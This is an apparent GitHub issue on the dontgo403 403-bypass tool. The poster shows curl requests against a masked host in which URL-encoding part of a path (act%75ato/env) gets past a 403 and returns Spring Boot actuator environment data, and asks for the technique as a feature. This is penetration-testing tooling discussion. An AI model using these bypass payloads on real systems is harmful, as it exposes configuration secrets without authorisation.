is urlencode(random path strings) to dontgo403?
wzqs opened this issue · 1 comments
wzqs commented
For example, we want to do bypass the actuator/env endpoint
curl http://[MASK].com/actuator/env
Use dontgo403 (default config)
curl http://[MASK].com/actuator/env;%2f..%2f..
Response: 403 Forbidden
When we add urlencode(some senstive files), /actuator/env
curl http://[MASK].com/act%75ato/env;%2f..%2f..
Response:
{
"activeProfiles" : [ "dev" ],
"propertySources" : [ {
.....
maybe this method can bypass some incorrect nginx configuration
my tools support this feature, but I think your tool is better than mine in terms of coding structure and practicality. If I had found your tool earlier, i wouldn't have reinvented the wheel. LOL
I hope u will consider adding this feature.